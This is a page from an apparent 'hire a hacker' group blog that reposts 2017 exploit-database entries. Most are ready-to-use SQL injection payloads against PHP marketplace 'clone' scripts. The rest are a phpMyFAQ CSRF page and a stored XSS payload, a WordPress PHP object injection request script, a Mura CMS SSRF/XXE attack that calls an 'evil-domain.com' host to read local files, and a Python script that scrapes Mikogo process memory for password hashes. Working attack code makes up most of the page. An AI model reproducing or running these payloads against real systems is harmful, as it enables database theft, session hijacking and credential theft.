Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863577208

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: phpMyFAQ 2.9.8 CSRF Vulnerability 
# Date: 27-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15730

1. Description

In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.

2. Proof of concept

    <html>
    <head>
    <title>PHPMYSQL CSRF EXPLOIT</title>
    </head>
    <body>
    <a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>
    </body>
    </html>


3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
HireHackking 
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24] 
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

   203 // Adds an item to the plugin's cart
   204 function UPCP_Add_To_Cart() {
   205 global $woocommerce;
   206 global $wpdb;
   207 global $items_table_name;
   208
   209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
   210
   211 if ($WooCommerce_Checkout == "Yes") {
   212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
   213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
   214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
   215 }
   216
   217 if (isset($_COOKIE['upcp_cart_products'])) {
   218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
   219 }
   220 else {
   221 $Products_Array = array();
   222 }
   223
   224 $Products_Array[] = $_POST['prod_ID'];
   225 $Products_Array = array_unique($Products_Array);
   226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
   227 }
   228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
   229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested
  
POC
1. use a WP plugin to test php object injection, 
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request 
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------
HireHackking 
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability 
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

    <!DOCTYPE html>
    <html>
    <head>
    <title>XSS EXPLOIT</title>
    </head>
    <body>
    <script>confirm(document.cookie)</script>
    </body>
    </html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section 
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage 

3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip
HireHackking 
# Exploit Title: FS Thumbtack Clone - 'ser' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/thumbtack-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
Marketplace Script is a popular software solution helping you launch a marketplace website within minutes.

Technical Details & Description:
================================

SQL injection on [ser] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/service-provider.php?ser=9631

Parameter: ser (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ser=9631' AND 8601=8601 AND 'ZarH'='ZarH
    
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Shutter Stock Clone - 'keywords' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/shutterstock-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
This is a versatile script to help you to launch a stock photo like Shutterstock.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/Category/

Parameter: keywords (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keywords=SEARCH' AND (SELECT 2673 FROM(SELECT COUNT(*),CONCAT(0x716b706b71,(SELECT (ELT(2673=2673,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UqZI'='UqZI&category=3

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: keywords=SEARCH' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x6251747761714a75646f44454749674748584975524b6c59687576456c68696761764659764a6954,0x71767a6b71)-- HXrZ&category=3

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: Mura CMS before 6.2 SSRF + XXE
# Date: 30-10-2017
# Exploit Author: Anthony Cole
# Vendor Homepage: http://www.getmura.com/
# Version: before 6.2
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2008 w/ Coldfusion 8
# CVE: CVE-2017-15639
# Category: webapps
 
1. Description
   
Any user can cause Mura CMS before version 6.2 to make a http request.  As an added bonus, the response from that HTTP GET request is passed directly to XmlParse().  It is possible to read a file from the file system using an XXE attack.
 
   
2. Proof of Concept

vulnerable file is on github, line 50:
https://github.com/blueriver/MuraCMS/blob/c8753ce80373eca302c6d9d8a02ff63a1d308991/tasks/feed/readRSS.cfm
 
http://www.target.tld/tasks/feed/readRSS.cfm?siteid=SITENAMEHERE&rssurl=http://evil-domain.com/file.xml&MAXRSSITEMS=500

Explanation of params
	siteid - The siteid can be obtained by viewing the html source code of the target home page and searching "siteid".
	rssurl - This is the URL you want Mura CMS to call out to.
	
To perform a XXE attack, you will need to stand up a web server: python -m SimpleHTTPServer 80
	
Then create a file:

<?xml version="1.0" ?>
<!DOCTYPE rss [
        <!ENTITY send SYSTEM "file:///c:\Windows\System32\drivers\etc\hosts">
]>

<rss version="2.0">
<channel>
        <title>title</title>
        <link>link</link>
        <description>description</description>
        <generator>http://www.getmura.com</generator>
        <pubDate>Thu, 28 Sep 2018 11:55:19 -0700</pubDate>
        <language>en-us</language>
        <item>
                <title>Item title</title>
                <link>http://host/</link>
                <guid isPermaLink="false">00000000-0000-0000-0000000000000000</guid>
                <pubDate>Thu, 21 Sep 2018 00:00:01 -0700</pubDate>
                <description>&send;</description>
        </item>
</channel>
</rss>
   
3. Solution:

delete readRSS.cfm from the server.
HireHackking 
# Exploit Title: FS Lynda Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/lynda-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
It was never this easy to launch a video tutorial website similar to Lynda.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/tutorial/

Parameter: category (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category=5 AND 1845=1845&keywords=xxxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS OLX Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/olx-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
The best performing Classifieds software ever known.

Technical Details & Description:
================================

SQL injection on [catg_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search-result.php?searchbox=search&catg_id=5' AND 4453=4453 AND 'QlZa'='QlZa

Parameter: catg_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchbox=search&catg_id=5' AND 4453=4453 AND 'QlZa'='QlZa

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Indiamart Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/indiamart-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
The most favored web solution for webmasters aspiring to launch B2B Portals at minimum investment of time, money and effort.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?keywords=product') UNION ALL SELECT NULL,CONCAT(0x716b787071,0x506961776c6f79515068694b454e736668707675627448527949566e434472706a72624a466a5468,0x7171627171)-- LEhA&rctyp=Products

Parameter: keywords (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: keywords=product') UNION ALL SELECT NULL,CONCAT(0x716b787071,0x506961776c6f79515068694b454e736668707675627448527949566e434472706a72624a466a5468,0x7171627171)-- LEhA&rctyp=Products
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Groupon Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/groupon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Developed in PHP/MySQL, the script is a perfect solution for a daily deal software with utmost versatility.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search_product.php?category=1 AND 8132=8132&name=xxxxx

Parameter: category (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category=1 AND 8132=8132&name=xxxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: category=1 AND SLEEP(5)&name=xxxxx
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Freelancer Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/freelancer-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Launching within minutes the best ever reverse auction website available online is no more a distant dream!

Technical Details & Description:
================================

SQL injection on [sk] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/category.php?sk=2 AND 5895=5895

Parameter: sk (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sk=2 AND 5895=5895

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: sk=-9224 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627071,0x6a5954706679724662715071764b6f6b6b5448677770526873556c726b747079556b5341516d7559,0x716a627a71),NULL-- Pddp
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Expedia Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/expedia-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Coded in PHP/MySQL, this is an ultra efficient script hot favorite with travel agencies worldwide.

Technical Details & Description:
================================

SQL injection on [hid] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/hotel.php?hid=2 AND 6652=6652

Parameter: hid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: hid=2 AND 6652=6652

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: hid=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: hid=-1685 UNION ALL SELECT NULL,CONCAT(0x7162716271,0x696b6a4c52576c76446173666d5972704d454258706146434f544c78416a52754444694864786a42,0x7176786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Nqcw
==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Food Delivery Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/food-delivery/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a versatile script to help you launch a online food delivery portal like Foodpanda.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/food/

Parameter: keywords (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keywords=xxxxx' AND (SELECT 2438 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2438=2438,1))),0x7162717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'TkKa'='TkKa&order_option=1&category=1&price=1000

    Type: UNION query
    Title: Generic UNION query (NULL) - 22 columns
    Payload: keywords=xxxxx' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a786a71,0x497a704b724e4c4e665a556e6b626d45534a696d5a79554d726e506a686a6c5649627355675a6269,0x7162717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- hSOz&order_option=1&category=1&price=1000

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Ebay Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/ebay-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is indeed the best standard auction product pre-integrated with a robust multi-vendor interface and a powerful CMS panel. 

Technical Details & Description:
================================

SQL injection on [pd_maincat_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/advance-search-result.php?keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

Parameter: pd_maincat_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=any&pd_maincat_id=1' AND SLEEP(5) AND 'aHHy'='aHHy&submit=Search

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Book Store Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/book-store-script/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a robust platform for the booksellers and bookshop owners.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/book_search.php?book_name=xxxxx&category=4 AND SLEEP(5)

Parameter: category (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: book_name=xxxxx&category=4 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Amazon Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/amazon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Frontrunner in the field of all the multi-vendor scripts.

Technical Details & Description:
================================

SQL injection on [category_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

Parameter: category_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: category_id=1 AND SLEEP(5)&sub_category_id=1&search=xxxxx

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: category_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7071,0x714e746578554b6b4b4274697974755366576555457a6c6c576269474c7877744347466d6647695a,0x7176767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JpGm&sub_category_id=1&search=xxxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Car Rental Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/car-rental-script/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a versatile script to help you to launch a car rental website.

Technical Details & Description:
================================

SQL injection on [pickup_location] post parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/vehicle/

Parameter: pickup_location (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickup_location=7 AND 8531=8531&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pickup_location=7 AND (SELECT 7390 FROM(SELECT COUNT(*),CONCAT(0x7178787671,(SELECT (ELT(7390=7390,1))),0x71766a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickup_location=7 AND SLEEP(5)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
#!/usr/bin/env python
#
#
# Mikogo 5.4.1.160608 Local Credentials Disclosure
#
#
# Vendor: Snapview GmbH
# Product web page: https://www.mikogo.com
# Affected version: 5.4.1.160608
#
# Summary: Mikogo is a desktop sharing software application for
# web conferencing and remote support, and is provided by the online
# collaboration provider, BeamYourScreen GmbH. Mikogo provides
# its software as native downloads for Windows, Mac OS X, Linux,
# iOS and Android.
#
# Desc: Mikogo is vulnerable to local credentials disclosure, the
# supplied password is stored as a MD5 hash format in memory process.
# A potential attacker could reveal the supplied password hash and
# re-use it or store it via the configuration file in order to gain
# access to the account.
#
# ------------------------------------------------------------------
#
# 0:017> s -a 0 L?80000000 "password="
# 0125cdad  70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67  password=..&lang
# 0146e6b8  70 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61  password=...doma
# 06a422b3  70 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34  password=482C811
# 0:017> da 06a422b3
# 06a422b3  "password=482C811DA5D5B4BC6D497FF"
# 06a422d3  "A98491E38...."
#
# ...
# ...
#
# C:\Users\Charlie\Desktop>python mikogo_mem.py
# [~] Searching for pid by process name 'Mikogo-host.exe'..
# [+] Found process with pid #1116
# [~] Trying to read memory for pid #1116
# [+] Credentials found!
# ----------------------------------------
# [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38
#
# ------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5439
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php
#
#
# 03.07.2017
#
#
# Based on Yakir Wizman's PoC:
#


import time
import urllib
from winappdbg import Debug, Process

username    = ''
password    = ''
found       = 0
filename    = "Mikogo-host.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
         
        process = Process(process_pid)
        for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'):
            memory_dump.append(process.read(address,42))
        for i in range(len(memory_dump)):
            password = memory_dump[i].split('password=')[1]
            if password !='':
                found = 1
                print "[+] Credentials found!\r\n----------------------------------------"
                print "[+] MD5 Password: %s" % password
        if found == 0:
            print "[-] Credentials not found! Make sure the client is connected."
    else:
        print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
finally:
    debug.stop()
HireHackking 
# # # # # 
# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.vote-pro.com/
# Software Link: http://www.mailing-manager.com/demo.html
# Demo: http://www.mailing-manager.com/demo-gold/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15967
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL]
# 
# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+-
# 
# http://localhost/[PATH]/admin/template/?edit=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: MyBuilder Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.contractorscripts.com/
# Software Link: http://order.contractorscripts.com/
# Demo: http://demo.contractorscripts.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15968
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL]
# 
# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Parameter: subcategory (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: subcategory=1' OR SLEEP(5)-- RvzR
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: PG All Share Video 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.pilotgroup.net/
# Software Link: http://www.allsharevideo.com/features.php
# Demo: http://demo.allsharevideo.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15969
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/search/tag/[SQL]
# http://localhost/[PATH]/friends/index/1[SQL]
# http://localhost/[PATH]/users/profile/1[SQL]
# http://localhost/[PATH]/video_catalog/category/1[SQL]
# 
# 'ANd(/*!06666seleCt+*/1/*!06666frOm*/(/*!06666seleCt*/%20COunt(*),/*!06666COnCAt*/((seleCt(seleCt+COnCAt(CAst(dAtAbAse()As%20ChAr),0x7e,0x496873616E53656e63616e))%20frOm%20infOrmAtiOn_sChemA.tAbles%20where%20tAble_sChemA=dAtAbAse()%20limit%200,1),flOOr(rAnd(0)*2))x%20frOm%20infOrmAtiOn_sChemA.tAbles%20grOup%20by%20x)A)%20AnD%20''='
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' AND 2686=2686 AND 'UsmZ'='UsmZ
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' AND (SELECT 4572 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(4572=4572,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iudq'='iudq
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' AND SLEEP(5) AND 'iczN'='iczN
# 
